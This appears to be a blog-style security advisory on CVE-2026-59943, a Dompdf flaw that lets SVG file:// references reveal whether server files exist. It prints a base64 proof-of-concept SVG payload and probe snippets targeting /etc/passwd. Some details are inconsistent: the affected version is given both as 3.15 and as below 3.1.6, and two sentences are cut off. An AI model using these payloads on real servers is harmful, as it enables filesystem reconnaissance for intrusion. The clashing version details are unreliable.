Listen to this Post
CVE-2026-59943 is an information disclosure vulnerability affecting the Dompdf HTML-to-PDF converter library. The flaw resides in the library’s handling of embedded SVG images when rendering PDF documents from user-supplied content.
The vulnerability arises because Dompdf permits the use of `
The critical flaw is the observable difference in behavior between cases where the referenced file or directory exists versus when it does not. If the file exists, Dompdf attempts to embed it as an image, which typically results in a broken image placeholder in the rendered PDF due to format mismatches. However, if the file does not exist, the library produces a PHP warning (Failed to open stream: No such file or directory) and renders the image area as empty space without any visual artifact. This discrepancy allows an attacker to infer the presence or absence of arbitrary files and directories on the server’s filesystem.
The vulnerability does not expose the actual contents of files; it only confirms whether a given path exists. Nonetheless, this information can be invaluable for reconnaissance, enabling attackers to map the filesystem structure, identify sensitive configuration files, and plan further targeted attacks. The issue affects all Dompdf versions prior to 3.1.6. A fix was implemented in version 3.1.6, which was released on July 20, 2026.
The attack vector is remote, requires low complexity, and does not necessitate authentication, making it accessible to any actor who can supply content for PDF rendering. The CVSS v4.0 score reflects a moderate severity due to the limited confidentiality impact and the absence of integrity or availability consequences.
DailyCVE Form:
Platform: ……. Dompdf
Version: …….. 3.15 and prior
Vulnerability :…… Filesystem information disclosure
Severity: ……. Moderate (CVSS 4.0: 5.3)
date: ………. July 20, 2026
Prediction: …… July 20, 2026
What Undercode Say:
Check Dompdf version composer show dompdf/dompdf Verify if vulnerable (version < 3.1.6) php -r "require 'vendor/autoload.php'; echo Dompdf\Dompdf::VERSION;"
PoC SVG payload (base64-encoded):
data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHhsaW5rOmhyZWY9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiPgogICAgPC9zdmc+Cg==
HTML injection example:
<html> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHhsaW5rOmhyZWY9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiPgogICAgPC9zdmc+Cg=="> Hello World! </body> </html>
Testing for existence of `/etc/passwd` vs `/DOESNOTEXIST`:
// Observe PDF output difference between: $svg_existing = '<svg><image xlink:href="file:///etc/passwd"/></svg>'; $svg_missing = '<svg><image xlink:href="file:///DOESNOTEXIST"/></svg>';
Exploit:
An attacker with the ability to supply arbitrary HTML content to a Dompdf rendering endpoint can craft an SVG image that references a target filesystem path. By comparing the rendered PDF output — specifically, whether a broken image icon appears or the area remains blank — the attacker can determine if the path exists. This technique can be automated to scan for the presence of common files such as /etc/passwd, /etc/shadow, /var/log/auth.log, or application-specific configuration files. The attack does not require special privileges and can be performed remotely over the network.
Protection:
The primary and most effective mitigation is to upgrade Dompdf to version 3.1.6 or later, which contains the fix for this vulnerability. For environments where immediate upgrading is not feasible, administrators should implement strict input sanitization and validation to prevent users from supplying arbitrary SVG content. Specifically, any user-supplied `
Impact:
Successful exploitation of CVE-2026-59943 allows an attacker to enumerate files and directories on the server hosting the Dompdf application. While this does not directly expose file contents, it provides a powerful reconnaissance capability that can reveal the presence of sensitive files, configuration details, and the overall filesystem layout. This information can then be used to pivot to more severe attacks, such as targeting specific files for subsequent exploitation or crafting more precise social engineering campaigns. The vulnerability poses a moderate risk, with a CVSS v4.0 base score of 5.3, reflecting the limited but valuable nature of the information disclosed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
